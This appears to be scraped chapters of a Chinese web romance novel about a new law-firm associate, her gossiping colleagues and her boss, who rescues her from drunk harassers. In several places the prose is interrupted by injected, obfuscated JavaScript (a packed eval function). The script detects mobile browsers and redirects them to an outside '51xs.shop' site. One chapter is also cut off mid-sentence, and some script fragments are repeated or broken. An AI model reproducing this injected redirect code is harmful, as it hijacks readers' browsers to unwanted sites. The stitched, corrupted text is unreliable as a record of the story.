听见动静,闻雅以为林朝月醒了,见她又要睡,终于小声说:“林朝月,你还睡吗?已经快三点了,入职第一天一直这么睡会不会不太好?” 闻雅是入职培训坐林朝月边上的小姐姐,工位刚好在她对面。 林朝月起得太早,中午碳水吃多了又食困,现在脑子里都是浆糊。 说话前言不搭后语:“才三点?还有这么久才下课,professor不点名别叫我了……” 闻雅:“……”中午聂闪闪说林朝月的大学肯定是水出来的,她还不信,现在她突然觉得这话也有些道理。 但就让林朝月这么一直睡着也不好,她想绕过去叫她,等起身的动作做了一半,视线无意间扫到电梯,她又默默坐了回去。 -- 这次林朝月感觉有人在拉她的小毯子。 她半梦半醒以为是教授点名了,虽然不情愿,但还是慢吞吞地举了手:“Here,Ayla.” 周围的人因为裴舒文‘突然’出现有些紧张,但此时都被林朝月的一声‘Ayla’逗笑了。 有什么好笑的。吵死了。 林朝月被吵得紧锁着眉,但也终于撑着身子坐起来了。 结果睁开眼就猝不及防对上了裴舒文的视线。 她起码有五秒没反应过来,因为她的手还一直举着。 “Ayla?英文名?”裴舒文不等她说话就问。 林朝月机械点头。 裴舒文:“不是国际业务,所里一般不用英文名,下次可以直接说中文。” 裴舒文这是特意来看她出丑的?就算她反应再迟钝,这会儿也知道发生什么了。 她不就是太困了趴着睡了一会儿,怎么还亲自下来叫她。 明明中午在食堂的时候裴舒文还和自己装不熟…… 算了,今天好歹是第一天来裴舒文这里上班。 装也要装一下。 她顶着脸上刚被硌出来的两条印子,装乖点头,心下一琢磨,还说了句:“知道了,裴……裴律。” 裴舒文看得出林朝月的小心思。但他不介意,而且恰恰相反,他很期待有朝一日能见到这姑娘伪装下的棱角。 裴舒文:“三点半来我办公室,我这边有些工作安排给你。” “哦,知道了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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打开消息之前,她心跳没由来的加快,隐隐有一些期待,不自觉吞了下口水后,脑海中甚至还闪过一丝重新做回富二代的幻想。 但幻想很快破碎。 打开对话框,钟女士只回了几个字:“努力工作,别再让妈妈失望了。” -- 林朝月上楼下楼没有十分钟,人从兴致勃勃变得萎靡不振。 这批新入职的助理律师都在一层,她回来,其他人也跟着围了过来。 “听说裴律给你安排工作了?什么工作?难不难?” “不知道。” 林朝月没心情和大家八卦,她正给裴舒文发消息。 【你是不是给我妈打小报告了?】 这条没回复,她不高兴地撇嘴。 但周围的人越见她这样,兴致越高:“我入职我们所里之前,我学长曾经给过我一句忠告。” 林朝月敷衍:“什么忠告?” “来君天梁木,不要被裴律盯上,不然会很惨。”说话的人神秘兮兮。 林朝月终于有些兴趣地抬头:“为什么?我之前听说他带出来的实习生都很厉害,你们不想进他的团队吗?他看起来挺绅士的。” 虽然很大概率是装的。 一直没出声的聂闪闪冷哼了一声,像是听到了什么笑话,嘲讽:“那你可以考核不通过,去试试好了。” 林朝月耸了耸肩,无视聂闪闪的话,继续低头发消息。 【你刚刚怎么不在,你秘书只给了我一把钥匙。卷宗要怎么整理啊?我不会。】 这条依然没有回复。 林朝月也不知道裴舒文是没看见还是不接招。 但持续没有回应,她觉得自己像是一拳一拳都打在了棉花上,非常没劲。 她泄气地靠在椅背上玩手机,有一搭没一搭听大家聊天。 直到捕捉到‘Party’这个单词,她才终于来了些兴致:“今晚要开Party吗?” 有人开玩笑:“你穿得比较合适,我们穿成这样去开Party外人估计以为我们是商务聚会。” 闻雅拍了拍林朝月肩膀:“国内不流行Party,是今晚的聚餐,大家自发组织的,我拉你进群。” 林朝月被拉进了「法外狂徒张三」群聊。 林朝月:“……” 闻雅:“私底下拉的娱乐群,别当真,大家都是守法好公民。” 林朝月信了。 她打开群里发的餐厅定位,好像有点远,她早上车撞坏已经送修了。 林朝月又锲而不舍地给裴舒文发了条。 【晚上聚餐地方比较远,你住的近,车借我开开?】 她以为这次的消息又要石沉大海,但一分钟后手机亮了。 她正得意自己软磨硬泡的功力又进步了,但下一秒笑容就僵在脸上。 这是……什么? 7. chapter 07 打车软件? 裴舒文给她发了条打车软件链接? 裴舒文还发了句:“不客气。” 我真是谢谢你,谢谢你全家!! -- 聚餐地点选在了宁城大学附近。 开车过去要四十分钟,没车的人一起拼车,林朝月现在也没算没车,闻雅在群里拼车的时候帮她也拼了一个座。 然后林朝月就体会到了什么叫‘冤家路窄’。 “你怎么在车上?” “你怎么来了?” “我先上的车!” “我怎么不能来!” 拉开车门的林朝月和坐在后排的聂闪闪几乎是同一时间喊出来的。 闻雅和另一个男生面面相觑,这也是太巧了吧,他们两个随机在群里拼个座,都能把林朝月和聂闪闪拼在一起,看样子两个人还挺有缘分的。 林朝月拉开车门迟迟不上车。 司机不耐烦:“还走不走了?再不走晚高峰外面又要堵上了。” “走走走,这个点不好打车。”闻雅上车的时候拉了林朝月一把,安慰道:“没事的,我坐中间。” 林朝月无奈妥协,她想着大不了也就坐个几十分钟,反正也是拼车,她听歌玩手机就好了。 无视聂闪闪的白眼,林朝月也上车了。 车后座还算宽敞,车子开出地库她就靠在一边看外面。 宁城她很久没回来了,回来后也是没一刻的消停,到现在她才有心情看看这座城市。 还是家里亲切,市中心的那个商厦她以前是常客,前面那家奢侈品店她也是vvvvip,可惜了,要是她没变穷光蛋就好了。林朝月默默感慨。 夏季昼长夜短。 晚六点,宁城的天还没彻底暗下去。 前后的红色车灯连成一片,同落日余晖交相辉映,路两旁的玻璃建筑像是被蒙上了一层金色面纱。 司机开得不快,到前面的路口还刻意放慢速度,她正好看得清楚。 但聂闪闪是个急性子。 见司机这样,不大高兴地说:“师傅,我们赶时间你开快点。” 司机这会儿倒是不紧不慢了,听口音像是本地人:“刚刚该急的时候么你们不急的,现在市中心路段我可不敢开快,不小心撞到哪辆豪车我保费都不够赔的。” “喏,这不又过去一辆。” 林朝月看了眼,一闪而过的是辆阿斯顿马丁,很低调的纯黑配色,但银色的车标和优雅的车型,还是让周围的车默契集体让速。那车看着应该和裴舒文那辆是同款。 不得不说这男人品味很不错。比李聪那种只知道高调炫富的富二代高级了不是一星半点。 -- 到餐馆的时候天色彻底暗下来了,但选的就餐地点也在商圈,周围很亮堂。 “到了,就是这里,弄堂里有家湘菜馆,味道很不错。”前座的男生认得路,听起来是这家的常客。 聂闪闪有些挑剔,但见了不远处的牌匾也附和了句:“这家是还可以。” 闻雅是外省过来的,所以没搭话。 林朝月倒是本地的,但她国内大学是外市读的,对宁大这边的商圈也不怎么熟悉。 她下车后四处打量着。 前座的男生叫陈维,在车上的时候就不止一次想和林朝月搭话。 这会儿终于找到机会。 陈维:“要说吃饭还是我们选得地方性价比高,好吃又便宜,那边那几家都是华而不实的。” “什么?”林朝月本来没注意,被陈维这么一说,也朝他指得方向看了过去。 街对面是家法餐,她记得盛棠路那边也有一家,味道不错,瑶瑶挺喜欢的。 她有些想瑶瑶了,所以敷衍地说:“各人有各人的喜好,店开在那里总有受众。” “是啊,受众就是有钱人呗,看看停在门口的那些车就知道了,我们这些正经工作的可吃不起。” 她和陈维不熟,也没再搭话。 但她看着对面停的车有些眼熟,好像就是刚刚自己看到过的那辆阿斯顿马丁,车牌尾号36666。 只是两次都没见到车主。 她随手对着对面的法餐厅拍了张,发给翁瑶,配了三个可爱的‘贴贴’表情包,还说了一句【等你回来请我吃!】 瑶瑶是秒回的:【没问题,等我回去!我要上台演出啦![啾咪].jpg】 林朝月:【等你等你![加油].jpg】 林朝月想了想,又不要脸地裴舒文发了一张那辆车的特写【偶遇一辆你的同款车,我那辆mini后车灯撞碎了要下周送回来,你最近要不要带我上个班[可怜].gif[可怜].gif】 林朝月这一系列动作,很快被一旁看在眼里的陈维打上了‘拜金女’的标签。 他脸色变得不怎么好看了。 可惜能让林朝月看脸色的人很有限,她根本没关注,见闻雅付好车费,跟着她进了前面的餐馆。 -- 这家餐馆的生意确实红火,里面人满为患。 他们订了二楼最大的那个包间,除了他们几个,其他人已经到齐了。 原来「法外狂徒张三」这个群聊的群主真的姓张,叫张弛,是在君天梁木做了一年的实习生后转正的,他对律所比较熟,这次的聚餐也是他组织的。 张弛人很外向,话虽多,但每句话都不让人反感,有时候还觉得挺有趣。 他热络地让大家彼此认识过,就开始叫老板上菜。 林朝月其实对聚餐兴趣一般,大家都来她也就合群地来了,但她对单纯的吃饭还是挺感兴趣的,上了菜就安静坐在那里吃东西。 偏偏这群人像是知道她想听什么,聊着聊着,话题不知道怎么就绕到裴舒文身上了。 还是关于他情感生活的八卦。 这她还不竖着耳朵听! 裴舒文要真有相好的,可给她解决大麻烦了,她这也算是捏住了一个他的小把柄,不然主动权总握在裴舒文手里,她也实在有些被动。 但听着听着林朝月就感觉事情走向不大对。 “……听说裴律的女朋友是女大学生,我们所里的助理律师之前见过,有天晚上她去裴律家里送文件,下楼的时候正好看见裴律带那女生回来,还是那女生开的车……” “确定是女朋友吗?不是代驾?” “肯定不是,那女生跟着裴律上楼了,而且再也没下来过。就是上周五,听说裴律推了一个很重要的工作,这可不常见,估计是陪女朋友约会去了。” 大家八卦的有模有样。 林朝月听着却有些发懵:“从一辆车下来就是情侣?这案子断的是不是太草率了。” 虽然她最近头顶上被扣得大锅有点多,但亲耳听到别人‘造谣’自己的过程,她还是有些小震撼的。 陈维插嘴:“女生自己都不知道避嫌,还指望别人能说出什么好听的话吗,不是所有人都像我们这么学历高素质高的,想走捷径的人还不是一抓一大把。” 林朝月这次直接被气笑了,桌上其他的女生脸色也都不大好。 连聂闪闪都站在林朝月这头了:“陈维你不会说话就闭嘴,没人当你是哑巴。” 陈维先是一愣,但他明显不敢惹聂闪闪,打了声哈哈:“闪闪,我这不是开玩笑嘛,我的错,我自罚一杯给各位女同学赔罪。” 大家都是同事,心里再觉得这男的sb,表面也都尽力维持着和谐,甚至还带着些虚伪的成份。 “没事没事。” “陈律说得也有些道理。” “不过像裴律这种家世好,能力强的,应该也不会随便找女朋友,他们那种人家肯定还是要讲究门当户对。” “对,我上次在论坛里刷八卦,还看到有人说裴律之前在国外留学的时候有一个女朋友,非常标准的洋娃娃,后来家里不同意硬被拆散的。” “这算什么,我觉得最惨的还是赵律,听说他对裴律多年爱而不得……” 林朝月:“……” 她怎么记得赵律是男的,这都什么和什么,情感小剧场大杂烩? 大家今天不是刚入职吗?一下午聊出了这么多八卦?她睡了一觉是错过了多少新闻。 她疑惑看闻雅,闻雅专心给碗里的鱼拨刺,没参与到八卦里面。 聂闪闪看到了林朝月的表情,施舍小狗似的,抬下巴指了下她放在桌面的手机:“发你了,自己看。” 两个人微信是早上撞车时候不情不愿加的。 消息弹窗。 闪闪发光:.$#56@%*** 林朝月点击跳转页面,很快就被里面琳琅满目的消息闪花了眼。 【去年安颂的合伙人疯狂压榨下面的初级律师,今年人都跳去君天梁木和泰禾了,点击就看红圈所第一把交椅如何跌落神坛!】 【gap半年出国旅游,回来宁城律师界变天了?】 【有人知道大泽律师事务所的安律有对象没?她人又美又专业,想追(我也是女生)】 …… 【君天梁木入职一年整,工作很累但非常锻炼人,有人想了解吗,知无不言。】 看着应该是个宁城律师行业的论坛。八卦的、聊行业、分享资料的什么都有。 林朝月点进了最新看到的这条,非常累是多累?太累她可吃不消。 但评论区好像没人问累不累,都是在聊八卦。 1L:楼主是做金融市场部的非诉吗?我有个小姐妹也在那边,说是非常累,但赚得也非常多。 楼主:不是哦,是做诉讼业务的,收入还可以。 4L:上辈子做了再多坏事,这辈子干律师也算是清债了,xxx诚不欺我。 楼主:o(╥﹏╥)o 8L:楼主不会是在裴舒文的团队吧,想知道裴律有没有女朋友。 10L:引用8L“……”,好奇+1。 15L:引用8L“……”,好奇+10086。 楼主:裴律的团队以非诉业务为主哦,我在另外一个合伙人的团队,所以不是很清楚。 18L:据我观察,以裴舒文的工作强度,他应该很难找到女朋友,不过机会是留给有准备的人的,欢迎大家入职君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355326|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天梁木,为解放我们这群被裴律压榨的小可怜做贡献。 林朝月点开了这层的楼主,主页是关的,头像是两辆橘猫。她关了继续看。 20L:18L层主不会是君天梁木的HR吧,裴律团队的有效工作时间能拉高整个君天梁木可不是什么秘密了,我劝大家慎重,不要被裴律的美貌迷惑。 看到这里的林朝月笑了,但看到下面那楼,她就笑不出来了。 21L:楼上真相了,不多bb,上链接,有图有真相。 链接直接跳转到了另一个帖子,标题是【科学贴:根据今年君天梁木新出炉的财报,计算裴舒文全年无休的366天(今年是闰年】 最上面po的是一份公开的财报文件。 下面是非常详细的分析帖。 内容就是拆解每个项目的时间,最后分析出裴舒文这一年里都做了哪些工作,大概要花费多长时间;还细心地拆解了裴舒文团队其他律师的工作内容和时间。 每条都有理有据,确实非常‘专业’。 这个帖子还被加精了,下面盖了几千楼,大多数是在感慨这只明星团队的工作强度实在‘非人’,但也有少部分人自称知情人士,透露工作强度只强不弱,让想去的人做好心理准备。 林朝月从上滑到下,看得手心汗津津的。 那她这种完全没准备的咸鱼怎么办? 等考核不通过那天直接被裴舒文压榨成咸鱼干吗? 一阵凉气从她后脊骨窜到天灵盖,刚知道被诈骗两千万的时候,她也没这么怂。 实话说,她现在非常想打飞机飞回伊萨卡,毕业有什么值得庆祝的,她现在觉得延毕才值得好好庆祝一下。 李聪这小子命是真好,听说他找大师算过,说他这辈子就是来享福的…… 半分钟后,李聪收到了一条林朝月的消息。 【快,找你那个大师给我也算算,看我还有没有救了?】 【?】 【我受刺激了,急需适合中国宝宝的心理医生。】 【ok,等我。】 林朝月自己玩手机玩的太投入,基本没参与到大家的聊天,被cue到的时候也没听到,还是一边的闻雅叫了她一声。 “啊?怎么了?” 闻雅:“下午的时候有人不在,他们刚听说你接了裴律派发的工作,想问问具体是做什么。” 林朝月弓着身子往前坐坐,裴舒文秘书给她的钥匙还在她包里,但她下午没去什么储藏室,也不知道里面有什么卷宗要整理,非常诚实地说:“还不清楚,只说是整理卷宗。” “哦,那应该还好,这种工作虽然基础,但也能学到很多东西,对后面考核通过有很大帮助。”说话的人是张弛,他显然有不少过来人的经验。 能不能学到东西林朝月不关心,她现在就是迫切地想摆脱裴舒文。 上午hr说的那些她都没怎么听,但却记住了一条,考核通过就能自由选择团队了。 林朝月认真脸:“今天hr说的那个考核,具体是怎么考核的?” “啊,考核内容每年都不一样,但其实是不难的;今年没有带教律师,大家自己找团队做项目就好了,最后述职通过就算考核通过。” 做项目。 下半场聚餐,林朝月满脑子都是这三个字。 她到底行不行啊? 中途她还打开裴舒文的对话框,想示弱求放过。 但一想到他私下里的那张冷漠脸,就又把打好的字都删了。 算了!她想好了!她要用这两个月的努力换之后的摆烂人生!等她考核通过了,裴舒文就算再神通广大也不能拿她怎么样! 想到高兴处,她还用力地点了两下裴舒文的头像。 我拍了拍"裴舒文"。 一行小字蹿到了林朝月眼前。 林朝月:??? 这到底是什么nc功能,能不能关了! 不等她撤回。 裴舒文:【?】 裴舒文:【你们聚餐也在附近?我这边结束了,可以带你回去。】 啊,原来那就是裴舒文的车,她之前还真没留意过裴舒文的车牌号。 换做以前她肯定蹭车了,但想到今天饭桌上大家八卦的传闻…… 林朝月:【不用不用,我打车回去就行。】 裴舒文:【打车软件学会用了?明天上班也打车吧。不要迟到,迟到次数多默认考核不通过。】 举一反三不是这么用的啊大哥! 还有考核不通过是什么意思! 林朝月气结。 偏偏李聪这会儿疯狂往出弹消息。 【我找大师看过了,你猜怎么着?】 【大师说你今年婚姻宫动了!】 【听不懂没关系,我总结一下,就是说你马上要谈恋爱了!而且是同行!】 【什么情况啊!国内生活这么滋润吗?搞的我也想回国了!】 回你大爷!黑名单呆着去吧你! 林朝月果断拉黑李聪,男人果然没一个好东西! 她再给裴舒文主动发消息她就是狗! 8. chapter 08 半个小时后聚餐结束。 这次家里住的近的拼一辆车,林朝月住市中心,只和几个住律所宿舍的近;刚好这几个女生都是宁城大学毕业的,对这附近很熟。 结伴聊着天,她们突然提起附近有一家冷饮店的甜筒很好吃,兴致很高要去买。 “朝月,你要不要和我们一起去?那家24h营业。” 林朝月婉拒:“我最近生理期吃不了太冰的,你们去吧,我帮你们看东西。” 有两个女生来吃饭还提着行李箱,看样子是今天刚回宁城报道,还没来得及去宿舍。 “辛苦朝月了,那家店就在附近,我们很快就回来。” “好的不急,我正好有时间研究一下怎么打车。” 林朝月一手推一个行李箱,然后找了个路边的石凳坐下。 时间接近零点。 街对面的法餐厅已经歇业了,灯只留了最外面那几盏,停车位上也空荡荡的。 裴舒文应该早就走了。 这个点除了半条街外的烧烤摊还有几个赤膊喝酒的大汉,街上就只有他们这群年轻人,随着大家陆续打车走了,路边很快就剩她自己了。 她低头鼓捣着手机,国内这两年开发的打车app她还是第一次用。 界面美观,功能也挺全,还能选择打什么样的私家车……能选迈巴赫吗?让她看看…… …… “那是林家塞给你那小姑娘吧?挺好看的。”男人手搭在车窗边吸烟,双目微阖,散漫地开腔。 “她一直低着头,你是怎么看出来的?” 裴舒文注视着裴岸,比起自己,他的这位堂弟要随性洒脱的多,类似今天这样的饭局,他似乎连表面的和谐都不想维持了。 裴岸眯眼,拖着格外好听的腔调:“以前远远见过两次,人挺有意思的,和她父母不像。” “哪里不像?” 裴舒文下意识地问,却没得到答案。 裴岸:“哥,你好像挺关心她的,你还记得你上次这么关心过谁吗?说实话,我其实一直想让我的心理医生给你做个咨询,你太冷漠了,但现在好像又不用了。” 裴舒文:“受人之托,忠人之事;这是我的工作。” “真是这样吗?”裴岸有些怀疑,他掐断烟灰,玩味地看着远处那姑娘:“那你可能要开展夜间工作了。” “什么?” “喏,自己看。”裴岸好心地让了个位置。 …… 林朝月耳朵里塞着耳机,里面播放着零点轻音乐播客。 第一遍响起杂音的时候,她还没发现那是不怀好意的口哨声。 等发现的时候,之前隔着半条街的那几个赤膊男人已经围上来了。 其中一个男人直接一屁股坐在了她边上,伸手就想要揽上来。 “你们……嘶……”意外又急促的说话,让她直接咬到了舌头。 好在她还算灵活,含着嘴里的痛,人直接弹开了。 林朝月:“你们想干什么?” “小妹妹,大半夜穿得这么少,你说哥哥们想干什么?”说话的男人中途打了个嗝,隔着老远她都闻到了难闻的酒气。 林朝月心想自己穿得就是正常的牛仔裤短T恤,连个腰身都没漏。 倒是这几只臭猪,几个人加起来都凑不出一件上衣。 猥琐就说自己猥琐的,平白往她身上甩锅,真是低级又下流。 呸呸呸! “你们想干什么我不知道,也没兴趣知道。” 林朝月后退了两步,低头瞄了眼手机,然后举起来:“但我已经报警了,我劝你们别轻举妄动。” 多亏了她年轻反应快,背在后面的手指一刻都没犹豫地按了紧急报警电话。 一起吃饭的男生都走光了,剩下的几个女生就算回来了,肯定也打不过眼前这几个满肚子肥油的男人。 她对自己很有自知之明,别说打了,跑都不一定跑得过。 报警没准还能吓吓这几个人不要乱来…… “艹,贱人,你tmd敢报警,找死!”站在最前面的男人青筋暴起,死死地盯着林朝月举着的手机,半点没有要走的意思。 还往前走了两步。 林朝月被盯得有些发毛了,事情和她期待的不太一样。 电话此时正好接通。 “你好,这里是XX110,请讲……” 她手抖的厉害,手机拿回嘴边,脑子却空了,等终于拉上弦,说了个‘我要报警’,手机直接被拍飞。 ‘砰’的一声,砸的林朝月心惊肉跳。 “哥几个给我上,好好教训教训这个臭|婊子!” 林朝月也顾不上手机和行李箱了,撒丫子就跑,但她没跑两步就被追上了,还被逼到了一个逼仄的角落。 眼见着咸猪手就要摸到她的胸了…… 管不了那么多了! 林朝月心下一沉,提了口气就扯开嗓子喊。 “救命啊!打劫了!光天化日有人打劫了!” “有人在大马路上就欺负良家少女了!大家快来看啊!” “救命啊~啊啊啊~” 空旷的环境,声音的传播效果很不错,惹得靠在一旁看热闹的裴岸‘呵’地笑了一声。 突然的声音把所有人都吓了一跳。 这里怎么还有人。 众人猛地一回头,才发现后面不知道什么时候站了两个男人。 一个西装革履、正慢条斯理地解袖扣;另一个头上扣着卫衣帽子、头发长的几乎能盖上眼睛,看不清脸。 看到裴舒文的时候林朝月也很惊讶。 他怎么还没走? 但她又忍不住狂喜。 还好他没走! 林朝月现在看裴舒文就像是在看救命稻草,这就是离得远,离得但凡近点,她肯定牢牢抓住他了。 “你还没回去?”林朝月平复了一下心情。 “嗯。”裴舒文声音冷淡,但在同林朝月对视后,目的性很强地把扫过一旁的户外自动扶梯。 林朝月还想说话,但裴舒文的眼神让她生生把那些废话咽了回去。 是她想得那个意思吗? 应该是吧。 但裴舒文之后没再看她。 那扶梯很近,不到五米。 这群人的注意也暂时没放在她身上…… 林朝月紧张地吞了吞口水,趁着大家不注意开始慢慢往那挪。 “我告诉你们,不要多管闲事,哪凉快哪呆着去,我们哥几个教训女人,轮不到别人插手。” “小心连着你们一块打。”这一句是威胁。 但谈判中,裴舒文最不喜欢威胁。 裴舒文眼中没了温度:“她还轮不到你们来教训,我建议你们现在立刻离开这里。” “哦呦!这是哪里来的小白脸,还想英雄救美?小心等一会儿打的你连妈都不认识。” 对方在挑衅。 这挑衅也让林朝月心生迟疑。 裴舒文打得过这几头肥猪吗? 边上这个颓废男大应该是裴舒文朋友,但他看着也不是个能打的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355327|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天难道是黑色星期一吗?怎么这么多倒霉事。 裴岸见林朝月正用古怪的眼神瞧他。 他举起双手的同时,默默往后退了一步:“别看我,我可不准备帮忙。” “不帮忙就站远点。”裴舒文挽好衣袖,俨然是做好了打架的准备。 偏他白色的衬衫扣子严谨地扣到最后一颗,让林朝月的迟疑逐渐变成担忧。 “裴舒文你行不行啊,不行的话别硬来,还是报警吧。” 林朝月紧张地把包包捂在胸前,再次做好随时开跑的准备。 “还tm想报警!我看你是活腻了!” “哥几个给我上!” 林朝月也没想到这几个人这么莽,直接冲着裴舒文去了。 这下好了。 不行也得行了。 裴舒文手无寸铁,就这么被围上了。 这让林朝月想起了草原上的群狼围剿猎物。 林朝月脸色煞白,额头上的汗涔涔往外冒,明明已经走到扶梯口了,却始终没能再往前踏一步。 她上去了裴舒文怎么办? 真的就留他自己应对这些人吗? 他再厉害也就是个律师,打嘴架没准行,但肉搏不得让人锤成渣渣? 她急得已经在哭了,眼泪吧嗒吧嗒掉,没出息的很。 “还不上去。”裴舒文没看她,但口型比的是这几个字。 不行。 她不能一个人溜。 林朝月咬了咬牙,瞄准自己手机掉了位置就去捡,不能帮着打架她怎么样也要报警才行。 但刚捡到手机还没等有其他动作。 她就感觉有人拎着她上了电动扶梯。 本以为是那群臭猪,她都准备咬人了,但回头发现竟然是裴舒文的朋友。 “你干什么!你别拉我!我要下去!” 裴岸哪会轻易放人:“别动,再乱动摔下去可就毁容了,力气这么小跑也跑不动,下去干什么?添乱?” “你力气大,你力气大你倒是下去帮忙啊!”她嗓子已经哑了。 裴岸:“下去做什么,下去哪有上面看得清楚。” 两个人刚到二楼,林朝月的手机就被拿了过去,她以为这男人是为了报警,气还消了些。 但见他打开了手机录像模式,林朝月音量都变尖锐了:“你做什么,把手机还我!我还没报警呢!你快把手机还给我。” 裴岸无视她,把她拉到二楼围栏边,朝下面喊了一声:“哥,观众就位,你可以开始了。” 裴舒文抬头看了眼,没说话。 林朝月刚刚还挣扎着想抢手机,此刻却莫名被裴舒文看她的那一眼安抚到了。 情绪迅速平静。 林朝月吸了吸鼻子,推了下身边的颓废男大:“他是你哥?” “堂哥。” 林朝月:“那他行吗?” 裴岸突然转头看她,吓了林朝月一跳:“你干嘛?” “没事。”裴岸把手机举在一个好位置,悠悠地说:“就是想给你个忠告,我哥这人心软得很,听说你去他那上班了,以后拿不准的事情一定要多问他‘你行不行’,会有惊喜。” 真的假的? 林朝月半信半疑。 刚刚自己问了,可裴舒文也没说啊。 “那今天呢?” “今天啊,想知道?”裴岸举得肩膀痛。 林朝月小鸡啄米式点头:“想。” “举着。”裴岸把手机塞给她:“好好拍,手不要抖,相信我,保证精彩。” 9. chapter 09 “ 裴岸让林朝月举着手机。 她听话是听话的,但心思压根就没在录视频上。 她哪有这个闲心。 下面的人已经打起来了。 挥拳头的挥拳头,抄东西的抄东西,中间还伴随着各种污言秽语。 但一群男人打架,怎么每一下子都是朝着裴舒文的脸招呼? 真是不要脸! 林朝月又气又急,对面那群人皮糙肉厚的,裴舒文那张脸细皮嫩肉,哪里受得住这个。 如果为了她打架破相了,她肯定要愧疚一辈子的。 裴岸在娱乐圈混了这么多年,约等于半个人精。 一眼就看出了林朝月是怎么想的。 裴岸打趣道:“我哥可是为了救你这样的,真毁容了,你要负责啊。” 前面那句和后面那句林朝月压根没听进去。 她单单听见了‘毁容’两个字。 一颗心直接蹿到嗓子眼。 奈何她脏话系统匮乏,急了半天,嘴里就蹦出了‘无赖’两个字。 “无赖!” “这群无赖!” “不知道打人不打脸吗?不行,从哪里下去,我要下去帮忙!” 下去的自动扶梯在另一侧,她说着准备下楼,但没等迈出两步,就又被拉回去了。 裴舒文这个弟弟怎么回事! “那是你亲哥吗?你这么拦着我!” 裴岸耸肩:“当然不是,我们是堂兄弟。” 林朝月小脸几乎都皱到了一起:“那你也别拉着我!再不下去裴舒文真就要破相了!” 她看地上有板砖,她拎着下去怎么也能应付一个。 “急什么,接着看,好戏才刚刚开始。” 裴岸眼见着林朝月不中用,一只手拉着她,另一只手又重新拿过她的手机接着拍。 林朝月挣又挣不脱,有些气急败坏:“我还看什么好戏,你自己看看,一群人围殴一个,他们这不是欺负人……这群人什么情况?” 林朝月严重怀疑自己眼花了。 她刚刚看还是一群人围着裴舒文一个。 现在看,离裴舒文最近的那几个怎么已经捂着肚子躺在地上了? 嘴里‘哎呦哎呦’个不停,显然是被揍的不轻。 裴舒文什么情况? 当代辛弃疾?文能写,武能打? 裴岸倒见怪不怪,放大手机焦距怼准裴舒文的脸拍。 他哥这张脸真的无敌。 这种西装制服精英款,放在内娱也拉不出几个能打的。 瞧这姑娘,眼睛都看直了。 裴岸:“这下相信了吧,好好看,这种精彩时刻可没那么容易见。” 林朝月小鸡啄米式点头,终于安静了。因为下面真的很精彩。 短短几秒内,她就看到裴舒文把迎面扑过来的花臂男锤到地上,中途身子轻盈地躲开后面人的偷袭,不仅让对面扑了个空,还非常不留情面地把人踩在地上。 类似的场景一直在上演。 这让林朝月幻视竞技游戏里玩家无痛ko小兵。 直到看到裴舒文几乎把所有人都撂倒一遍。 林朝月才终于弱弱出声问:“这位堂弟,你哥他战斗力这么强,应该只打地痞流氓吧?” “什么意思?”裴岸挑眉。 林朝月吞了吞口水,继续:“我的意思是他应该不打员工吧,在律所的时候应该都是以德服人吧。” 但是以德服人大家怎么都这么怕他。 他不会真动手打人吧? 这拳头落在别人看着过瘾,落在自己身上可就只剩疼了。 她突然想起中式父母时常会和老师说的那句‘随便打’。 此时代入到钟女士和裴舒文的身上,毫无违和感。 她怎么有点怕怕的。 虽然理智告诉她,她爸妈不会这么无情,但架不住裴舒文打人的画面视觉冲击这么强。 她怎么突然觉得自己考核通过也不一定跑得掉了。 林朝月:( 裴岸自然不会懂林朝月这一整晚的心路历程。 甚至有些莫名其妙。 裴岸:“他不就在这,想问什么就自己问。” 裴岸朝下面喊了一嗓子:“哥,你什么时候结束?你这小姑娘有事情想问你。” 裴舒文动作停了一瞬,他显然是听见了,但没抬头。 等把面前的这几个人处理好,白花花躺了一地,他才终于抽空朝楼上看了一眼:“有什么事情下来问。” “哦。”林朝月刚刚还急匆匆想下去,现在却慢吞吞的,活像一只粉色小乌龟。 明眼人一看就知道她这是有心事。 这是怎么了? 下了电梯,裴舒文看了眼林朝月边上的裴岸,裴岸停在原地摊手。 和他可没什么关系。 他的任务圆满完成。 裴舒文的视线重新落回到了林朝月的身上。 林朝月压根没留意到这兄弟俩的眼神互动,一直低头往前走,中间心不在焉地迈过一条大花臂。 等跨过去了,她才后知后觉自己好像越过了一个人。 但潜意识里又觉得地上的这几个人肯定起不来了。 也没当回事。 裴舒文却皱了下眉。 因为他发现,躺在地上的花臂男正在看林朝月。 男人捂着肚子,刚刚还因为肚子被踹了一脚疼的呲牙,在看到林朝月这么漫不经心地迈过去,眼神却突然发了狠…… 林朝月还没有意识到危险。 她只看到裴舒文刚刚还没什么表情,现在却冷着脸朝她走过来。 “你、你怎么了?” 见他这样,林朝月化身林怂怂,她脚步突然变得踌躇起来,最后干脆站在原地不动了。 完了。 裴舒文这次表情更差了,直接大步朝她走过来。 林朝月脑海中过电影似的回忆。 她今天挺听话的啊。 早上也去上班了,虽然迟到了;入职培训也听了几句,虽然没听全;下午虽然睡了一会儿,但裴舒文来的时候自己不是醒了吗?晚上还和谐友善地和新同事聚餐,虽然惹上了这种事,但也不能怪她啊。 打了别人应该就不会打她了吧…… 